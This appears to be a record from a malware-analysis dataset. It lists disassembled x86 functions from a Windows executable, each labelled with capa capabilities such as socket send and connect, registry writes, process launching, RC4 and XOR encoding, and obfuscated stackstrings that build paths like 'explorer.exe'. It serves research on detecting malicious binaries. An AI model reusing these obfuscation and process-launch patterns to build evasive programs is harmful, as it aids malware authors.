joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405e00
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x416b60
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [esp + 0x38]
mov eax, esi
mov ebp, ecx
push edi
xor edi, edi
mov ecx, dword [eax]
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], 0x4198cc
mov edx, dword [eax + 4]
mov dword [esp + 0x1c], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0x20], ecx
mov edx, dword [eax + 0xc]
mov dword [esp + 0x24], edx
mov dword [esp + 0x30], edi
call fcn.00401520
test eax, eax
je 0x405e5e
push 0xf
jmp 0x405e60
push 4
mov ebx, dword [sym.imp.USER32.dll_GetSysColor]
call ebx
cmp dword [esp + 0x40], edi
jne 0x405e81
push 0x3fe33333
push 0x33333333
push eax
call fcn.00402480
add esp, 0xc
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CGdiObject::Attach
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x10]
neg eax
sbb eax, eax
and eax, edi
mov edi, dword [esp + 0x38]
push eax
lea eax, [esp + 0x1c]
mov ecx, dword [edi + 4]
push eax
push ecx
call dword [sym.imp.USER32.dll_FillRect]
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CGdiObject::DeleteObject
call fcn.00401510
test eax, eax
je 0x405ed9
mov eax, dword [edi + 4]
push 0xf
lea edx, [esp + 0x1c]
push 2
push edx
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
mov eax, dword [esp + 0x44]
push 7
test eax, eax
jne 0x405efd
call ebx
mov ecx, dword [esi + 4]
mov edx, dword [esi]
add ecx, 4
push eax
add edx, 4
push ecx
push edx
push edi
mov ecx, ebp
call fcn.00404d60
jmp 0x405f15
call ebx
mov ecx, dword [esi]
push eax
mov eax, dword [esi + 4]
add ecx, 5
add eax, 4
push eax
push ecx
push edi
mov ecx, ebp
call fcn.00404c40
mov dword [esp + 0x10], 0x419890
lea ecx, [esp + 0x10]
mov dword [esp + 0x30], 1
call sub.MFC42.DLL_CGdiObject::DeleteObject
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 0x10

Function at 0x406440
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
push edi
and esi, 0xffff
push 2
push esi
call sub.MFC42.DLL_AfxFindResourceHandle
mov ebp, dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
push 2
push esi
push ebx
call ebp
mov edi, eax
test edi, edi
jne 0x40647d
xor ebx, ebx
push 2
push esi
push ebx
call ebp
mov edi, eax
test edi, edi
jne 0x40647d
pop edi
pop esi
pop ebp
pop ebx
ret
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40648e
pop edi
pop esi
pop ebp
pop ebx
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
jne 0x40649e
pop edi
pop esi
pop ebp
pop ebx
ret
push eax
call fcn.00406400
add esp, 4
cmp ax, 0x10
je 0x4064b4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push 0
push edi
push ebx
call sub.MFC42.DLL_AfxLoadSysColorBitmap
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4066b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, dword [0x41f310]
sub esp, 0x134
test eax, eax
jne 0x406785
lea eax, [esp]
mov dword [0x41f310], 1
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftPlus_ThemesCurrent
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406785
push esi
lea ecx, [esp + 0xc]
push edi
lea edx, [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push 0
push ecx
mov dword [esp + 0x28], 0x104
mov dword [esp + 0x24], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x406778
mov ecx, 5
mov esi, str.Windows_Classic.theme
lea edi, [esp + 0x14]
lea edx, [esp + 0x2c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edx
call edi
mov esi, eax
lea eax, [esp + 0x14]
push eax
call edi
cmp esi, eax
jl 0x406778
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
call edi
sub esi, eax
lea eax, [esp + esi + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x406778
mov dword [0x41f30c], 1
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, dword [0x41f30c]
add esp, 0x134
ret
Function at 0x40b240
Capabilities:
Access peb ldr_data
Get ntdll base address
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x4170c2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
lea edi, [esi + 0x10]
mov ecx, edi
call sub.MFC42.DLL_CString::CString_3
lea ecx, [esi + 0x14]
mov dword [esp + 0x2c], 0
call sub.MFC42.DLL_CString::CString_3
lea ecx, [esi + 0x18]
mov byte [esp + 0x2c], 1
call sub.MFC42.DLL_CString::CString_3
lea ecx, [esi + 0x1c]
mov byte [esp + 0x2c], 2
call sub.MFC42.DLL_CString::CString_3
lea ecx, [esi + 0x20]
mov byte [esp + 0x2c], 3
call sub.MFC42.DLL_CString::CString_3
mov ebp, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x11
mov byte [esp + 0x30], 4
call ebp
push 0x10
mov dword [esi + 4], eax
call ebp
mov ecx, dword [esp + 0x34]
mov dword [esi], eax
mov eax, dword [esp + 0x38]
push eax
push ecx
mov ecx, esi
call fcn.0040b6f0
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x40b3d5
mov edi, dword [edi]
push 0
push edi
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CStdioFile::CStdioFile
lea ecx, [esp + 0x38]
mov byte [esp + 0x2c], 5
call sub.MFC42.DLL_CString::CString_3
lea edx, [esp + 0x38]
lea ecx, [esp + 0x10]
push edx
mov byte [esp + 0x30], 6
mov dword [esi + 0xc], 0
call sub.MFC42.DLL_CStdioFile::ReadString
test eax, eax
je 0x40b32a
mov edi, dword [esi + 0xc]
lea eax, [esp + 0x38]
inc edi
push eax
lea ecx, [esp + 0x14]
mov dword [esi + 0xc], edi
call sub.MFC42.DLL_CStdioFile::ReadString
test eax, eax
jne 0x40b311
mov edi, dword [esi + 0xc]
lea ecx, [edi*4 + 4]
push ecx
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [esp + 0x34], eax
test eax, eax
mov byte [esp + 0x2c], 7
je 0x40b364
push sub.MFC42.DLL_CString::CString
push sub.MFC42.DLL_CString::CString_3
lea ebp, [eax + 4]
push edi
push 4
push ebp
mov dword [eax], edi
call fcn.00415e88
jmp 0x40b366
xor ebp, ebp
mov edx, dword [esp + 0x10]
xor edi, edi
push edi
push edi
lea ecx, [esp + 0x18]
mov byte [esp + 0x34], 6
mov dword [esi + 8], ebp
call dword [edx + 0x30]
lea eax, [esp + 0x38]
lea ecx, [esp + 0x10]
push eax
call sub.MFC42.DLL_CStdioFile::ReadString
test eax, eax
je 0x40b3b7
cmp edi, dword [esi + 0xc]
jge 0x40b3b7
mov edx, dword [esi + 8]
lea ecx, [esp + 0x38]
push ecx
lea ecx, [edx + edi*4]
call sub.MFC42.DLL_CString::operator_1
lea eax, [esp + 0x38]
lea ecx, [esp + 0x10]
push eax
inc edi
call sub.MFC42.DLL_CStdioFile::ReadString
test eax, eax
jne 0x40b38f
lea ecx, [esp + 0x38]
mov byte [esp + 0x2c], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 4
call fcn.00415bc0
jmp 0x40b3dc
mov dword [esi + 8], 0
mov ecx, dword [esp + 0x24]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x24
ret 0xc
Function at 0x40b4a0
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x204
push ebx
push ebp
push esi
mov ebp, dword [esp + 0x220]
push edi
mov ebx, dword [esp + 0x220]
mov edi, ecx
mov edx, dword [esp + 0x21c]
lea ecx, [esp + 0x14]
mov dword [esp + 0x10], 0
mov eax, dword [edi + 0x10]
push eax
push 0x200
push ecx
push ebp
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov esi, ebp
lea eax, [esp + 0x14]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40b50a
test cl, cl
je 0x40b506
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40b50a
add eax, 2
add esi, 2
test cl, cl
jne 0x40b4e6
xor eax, eax
jmp 0x40b50f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b52f
mov eax, dword [esp + 0x228]
test eax, eax
je 0x40b52f
mov eax, dword [esp + 0x21c]
push ebp
push ebx
push eax
mov ecx, edi
call fcn.0040b5b0
mov esi, dword [esp + 0x218]
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
call fcn.00415a40
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x204
ret 0x14

Function at 0x40b610
Capabilities:
Get common file path

Disassembly:
sub esp, 0x208
push esi
mov esi, ecx
call sub.MFC42.DLL_AfxGetModuleState
mov eax, dword [eax + 4]
push 0
lea ecx, [esp + 0x110]
push 0
mov eax, dword [eax + 0x90]
lea edx, [esp + 0xc]
push ecx
push edx
push eax
call dword [sym.imp.MSVCRT.dll__splitpath]
add esp, 0x14
lea ecx, [esp + 0x10c]
lea edx, [esp + 4]
lea eax, [esi + 0x18]
push ecx
push edx
push str._s_s
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x10
lea ecx, [esp + 8]
push ecx
push 0x103
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea edx, [esp + 8]
push 0x41e150
push edx
lea eax, [esi + 0x14]
push str._s_s
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x10
lea ecx, [esp + 8]
push 0x103
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 8]
push 0x41e150
push edx
lea eax, [esi + 0x1c]
push str._s_s
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x10
lea ecx, [esp + 8]
push 0x103
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 8]
push 0x41e150
push edx
add esi, 0x20
push str._s_s
push esi
call sub.MFC42.DLL_CString::Format
add esp, 0x10
pop esi
add esp, 0x208
ret
Function at 0x40bca0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, dword [ebx + 0x44]
push edi
test eax, eax
jne 0x40bcb6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
mov edi, dword [esp + 0x18]
mov ebp, dword [esp + 0x14]
mov eax, dword [ebx + 0x40]
push 4
push edi
push ebp
push eax
call sub.WSOCK32.dll_send
mov esi, eax
cmp esi, edi
je 0x40bcf4
call sub.WSOCK32.dll_WSAGetLastError
cmp eax, 0x2733
mov dword [esp + 0x18], eax
jne 0x40bd00
mov ecx, dword [ebx + 0x40]
push 4
push edi
push ebp
push ecx
call sub.WSOCK32.dll_send
mov esi, eax
cmp esi, edi
jne 0x40bcd1
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret 8
cmp esi, edi
je 0x40bcf4
mov edx, dword [ebx + 0x20]
push edx
call dword [sym.imp.USER32.dll_GetParent]
push eax
call sub.MFC42.DLL_CWnd::FromHandle
mov ecx, dword [esp + 0x18]
mov edx, dword [ebx + 0x48]
mov eax, dword [eax + 0x20]
push ecx
push edx
push 0x7403
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
Function at 0x40c420
Capabilities:
Connect socket
Get hostname
Initialize winsock library
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x5a0
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x44]
test eax, eax
jne 0x40c453
lea eax, [esp + 0x1c]
push eax
push 0x101
call sub.WSOCK32.dll_WSAStartup
test eax, eax
je 0x40c461
push 0
push 0
push str.Cannot_Find_Usable_WinSock_DLL___
call sub.MFC42.DLL_AfxMessageBox
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x5a0
ret 8
mov eax, dword [esi + 0x4c]
test eax, eax
jne 0x40c46d
push eax
push 1
jmp 0x40c476
cmp eax, 1
jne 0x40c453
push 0
push 2
push 2
call sub.WSOCK32.dll_socket
mov ebx, dword [esp + 0x5b4]
mov dword [esi + 0x40], eax
push ebx
mov word [esp + 0x10], 2
call sub.WSOCK32.dll_htons
mov edi, dword [esp + 0x5b0]
mov word [esp + 0xe], ax
push edi
call sub.WSOCK32.dll_inet_addr
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x40c4c4
push edi
call sub.WSOCK32.dll_gethostbyname
test eax, eax
je 0x40c453
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [esp + 0x10], eax
mov edx, dword [esi + 0x40]
lea ecx, [esp + 0xc]
push 0x10
push ecx
push edx
call sub.WSOCK32.dll_connect
test eax, eax
jne 0x40c453
mov eax, dword [esi + 0x20]
mov ecx, dword [esi + 0x40]
push 0x31
push 0x464
push eax
push ecx
call sub.WSOCK32.dll_WSAAsyncSelect
push edi
lea ecx, [esi + 0x7d58]
mov dword [esi + 0x44], 1
call sub.MFC42.DLL_CString::operator
mov eax, dword [esi + 0x48]
mov dword [esi + 0x7d5c], ebx
cmp eax, 7
je 0x40c518
mov ecx, esi
call fcn.0040cad0
mov eax, dword [0x41e160]
test eax, eax
je 0x40c566
lea edx, [esp + 0x1ac]
push 0x400
push edx
call sub.WSOCK32.dll_gethostname
test eax, eax
jne 0x40c577
lea eax, [esp + 0x1ac]
push eax
call sub.WSOCK32.dll_gethostbyname
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call sub.WSOCK32.dll_inet_ntoa
push eax
mov ecx, 0x41f31c
call sub.MFC42.DLL_CString::operator
mov dword [0x41e160], 0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x5a0
ret 8
push str.Error
mov ecx, 0x41f31c
call sub.MFC42.DLL_CString::operator
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x5a0
ret 8
Function at 0x410d50
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x410db2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret

Function at 0x410dc0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x208
mov eax, dword [esp + 0x20c]
push ebx
push ebp
mov ebp, dword [esp + 0x218]
push esi
xor esi, esi
push ebp
push esi
push esi
push eax
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x410ea8
lea ecx, [esp + 0xc]
push ecx
push str..htm
push closesocket
call fcn.00410d50
add esp, 0xc
test eax, eax
jne 0x410eb7
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0xc]
push str._shellopencommand
push edx
call ebx
lea eax, [esp + 0xc]
lea ecx, [esp + 0xc]
push eax
push ecx
push closesocket
call fcn.00410d50
add esp, 0xc
test eax, eax
jne 0x410eb7
push edi
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x10]
push str.__1_
push edx
call edi
mov esi, eax
add esp, 8
test esi, esi
jne 0x410e80
lea eax, [esp + 0x10]
push 0x41e834
push eax
call edi
mov esi, eax
add esp, 8
test esi, esi
jne 0x410e80
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0xf]
jmp 0x410e83
mov byte [esi], 0
push 0x41e054
push esi
call ebx
mov edx, dword [esp + 0x21c]
push edx
push esi
call ebx
lea eax, [esp + 0x10]
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x1f
pop edi
jbe 0x410ec3
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x208
ret
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x208
ret
Function at 0x414990
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x24
xor eax, eax
push ebx
push ebp
push esi
mov esi, ecx
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
push edi
lea ebp, [esi + 0x196]
xor edi, edi
mov ecx, ebp
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov word [ecx + 8], ax
call ebx
and eax, 0x800000ff
jns 0x4149c4
dec eax
or eax, 0xffffff00
inc eax
test al, al
mov byte [esp + edi + 0x10], al
jne 0x4149cf
inc byte [ebp]
inc edi
cmp edi, 0xa
jl 0x4149b4
mov bx, word [esp + 0x18]
movsx edx, byte [esp + 0x10]
movsx ecx, bh
imul ecx, edx
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
sar eax, 8
and ecx, 0x800000ff
mov byte [esi + 0x197], al
jns 0x414a09
dec ecx
or ecx, 0xffffff00
inc ecx
movsx eax, byte [esp + 0x11]
mov byte [esi + 0x198], cl
mov ecx, 7
cdq
idiv ecx
movsx eax, byte [esp + 0x15]
mov ecx, 0xa
mov byte [esi + 0x199], dl
cdq
idiv ecx
movsx ecx, byte [esp + 0x17]
mov byte [esi + 0x19a], dl
movsx edx, byte [esp + 0x14]
imul ecx, edx
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
sar eax, 8
and ecx, 0x800000ff
mov byte [esi + 0x19b], al
jns 0x414a66
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esi + 0x19c], cl
xor eax, eax
cmp byte [eax + ebp], 0
jne 0x414a7a
inc byte [esi + 0x19d]
inc eax
cmp eax, 7
jl 0x414a6e
mov al, byte [esp + 0x16]
mov cl, byte [esp + 0x13]
xor al, cl
lea edx, [esi + 0x18c]
mov cl, bl
mov byte [esi + 0x19e], al
mov eax, dword [edx]
or cl, bh
mov byte [esi + 0x19f], cl
mov dword [esp + 0x1c], eax
mov ecx, dword [edx + 4]
mov eax, dword [esp + 0x10]
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x14]
mov dx, word [edx + 8]
mov dword [esp + 0x2c], ecx
mov word [esp + 0x24], dx
lea edx, [esp + 0x1c]
push edx
push 0x16
push 0
push 7
lea ecx, [esi + 0x94]
mov word [esp + 0x36], 0
mov dword [esp + 0x38], eax
mov word [esp + 0x40], bx
call fcn.00409b50
mov eax, dword [esi + 0x20]
push 0
push 0x4e20
push 0x70
push eax
call dword [sym.imp.USER32.dll_SetTimer]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret

Function at 0x415560
Capabilities:
Set registry value

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push esi
mov esi, ecx
push edi
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [esi + 0x10]
push ebx
push 1
push eax
mov eax, dword [esp + 0x20]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, eax
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
mov dword [esi + 4], edx
repne scasb al, byte es:[edi]
not ecx
mov dword [esi + 0xc], ecx
mov dword [esi + 8], 1
test edx, edx
pop edi
pop esi
sete al
pop ebx
ret 8
Function at 0x4155b0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
push esi
mov esi, ecx
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
mov ecx, dword [esi + 0x10]
push edx
push 0
push eax
push ecx
mov dword [esp + 0x1c], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 4]
mov dword [esi + 4], eax
mov dword [esi + 8], edx
mov dword [esi + 0xc], ecx
pop esi
test eax, eax
jne 0x415609
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 4]
mov dword [edx], eax
mov eax, 1
add esp, 8
ret 8
xor eax, eax
add esp, 8
ret 8

Function at 0x415626
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x108
push esi
mov esi, ecx
lea eax, [esp + 4]
lea ecx, [esp + 0xc]
push eax
mov eax, dword [esp + 0x114]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esi + 0x10]
push edx
push 0
push eax
push ecx
mov dword [esp + 0x1c], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 8]
mov ecx, dword [esp + 4]
mov dword [esi + 4], eax
mov dword [esi + 8], edx
mov dword [esi + 0xc], ecx
pop esi
test eax, eax
jne 0x415689
mov ecx, dword [esp + 0x110]
lea edx, [esp + 8]
push edx
call sub.MFC42.DLL_CString::operator
mov eax, 1
add esp, 0x108
ret 8
xor eax, eax
add esp, 0x108
ret 8
Function at 0x401210
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
sub esp, 0x18
mov eax, edx
push ebx
mov ebx, dword [ebp + 0xc]
shr eax, 4
push esi
mov ecx, ebx
test eax, eax
je 0x401282
add ebx, 8
mov dword [ebp - 4], eax
nop
mov eax, dword [ecx]
xor dword [edi], eax
mov edx, dword [ebx - 4]
xor dword [edi + 4], edx
mov edx, dword [ebx]
xor dword [edi + 8], edx
mov edx, dword [ebx + 4]
xor dword [edi + 0xc], edx
add ecx, 0x10
mov dword [ebp - 8], ecx
mov ecx, dword [ebp + 8]
push edi
lea esi, [ebp - 0x18]
add ebx, 0x10
call fcn.00401180
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov dword [edi], eax
mov eax, dword [ebp - 0xc]
mov dword [edi + 4], ecx
mov ecx, dword [ebp - 8]
add esp, 4
dec dword [ebp - 4]
mov dword [edi + 8], edx
mov dword [edi + 0xc], eax
jne 0x401230
mov edx, dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
lea eax, [ebx + edx]
cmp eax, ecx
jbe 0x4012f5
sub ebx, ecx
add ebx, edx
test ebx, ebx
jle 0x40129f
push ebx
push ecx
lea ecx, [ebp - 0x18]
push ecx
call fcn.0041be30
add esp, 0xc
mov eax, 0x10
sub eax, ebx
lea ecx, [ebp + ebx - 0x18]
je 0x4012b8
push eax
push 0
push ecx
call fcn.0041be60
add esp, 0xc
mov edx, dword [ebp - 0x18]
xor dword [edi], edx
mov ecx, dword [ebp - 0x14]
xor dword [edi + 4], ecx
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
xor dword [edi + 8], edx
xor dword [edi + 0xc], ecx
mov ecx, dword [ebp + 8]
push edi
lea esi, [ebp - 0x18]
call fcn.00401180
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
mov dword [edi], edx
mov edx, dword [ebp - 0xc]
mov dword [edi + 4], eax
mov dword [edi + 8], ecx
add esp, 4
mov dword [edi + 0xc], edx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4036b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
xor al, al
push esi
mov esi, dword [ebp + 0xc]
mov byte [ebp - 0x14], al
mov byte [ebp - 4], al
mov byte [ebp - 0xc], al
push 2
lea eax, [ebp - 8]
push eax
push esi
mov dword [ebp - 0x18], 0x38
mov dword [ebp - 8], 0x3031
mov dword [ebp - 0x28], 0x32313032
mov word [ebp - 0x24], 0
mov dword [ebp - 0x30], 0x36313032
mov word [ebp - 0x2c], 0
mov dword [ebp - 0x10], 0x37
mov dword [ebp - 0x20], 0x38303032
mov word [ebp - 0x1c], 0
call fcn.0041c520
add esp, 0xc
test eax, eax
je 0x40371e
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x64], 1
push 1
lea edx, [ebp - 0x10]
push edx
push esi
call fcn.0041c520
add esp, 0xc
test eax, eax
jne 0x40379f
push 4
lea eax, [ebp - 0x20]
push eax
push esi
call fcn.0041c520
add esp, 0xc
test eax, eax
jne 0x40379f
push 1
lea ecx, [ebp - 0x18]
push ecx
push esi
call fcn.0041c520
add esp, 0xc
test eax, eax
jne 0x403795
push 2
lea edx, [ebp - 8]
push edx
push esi
call fcn.0041c520
add esp, 0xc
test eax, eax
jne 0x403795
push 4
lea eax, [ebp - 0x28]
push eax
push esi
call fcn.0041c520
add esp, 0xc
test eax, eax
jne 0x403795
push 4
lea ecx, [ebp - 0x30]
push ecx
push esi
call fcn.0041c520
add esp, 0xc
test eax, eax
jne 0x403795
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 8
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 7
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4047b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x280
push esi
xor eax, eax
push 0x1fe
push eax
lea ecx, [ebp - 0x27e]
push ecx
mov word [ebp - 0x280], ax
call fcn.0041be60
push 0x40
lea ecx, [ebp - 0x7c]
push 0
push ecx
mov dword [ebp - 0x2c], 0x65005c
mov dword [ebp - 0x28], 0x700078
mov dword [ebp - 0x24], 0x6f006c
mov dword [ebp - 0x20], 0x650072
mov dword [ebp - 0x1c], 0x2e0072
mov dword [ebp - 0x18], 0x780065
mov dword [ebp - 0x14], 0x65
call fcn.0041be60
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x280]
push eax
lea ecx, [ebp - 0x10]
push ecx
xor edx, edx
push esi
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x80], 0x44
mov dword [ebp - 0x10], 0x690077
mov dword [ebp - 0xc], 0x64006e
mov dword [ebp - 8], 0x720069
mov word [ebp - 4], dx
call fcn.0040af10
push 0
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x280]
push eax
call fcn.0041c240
mov ecx, dword [esi + 0xba0]
push 0xad0121ab
push 0
push 0
push ecx
add esi, 0x1c
push esi
call fcn.00414e50
add esp, 0x44
pop esi
test eax, eax
je 0x4048b5
push 0
lea edx, [ebp - 0x3c]
push edx
lea ecx, [ebp - 0x80]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x280]
push edx
push 0
call eax
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret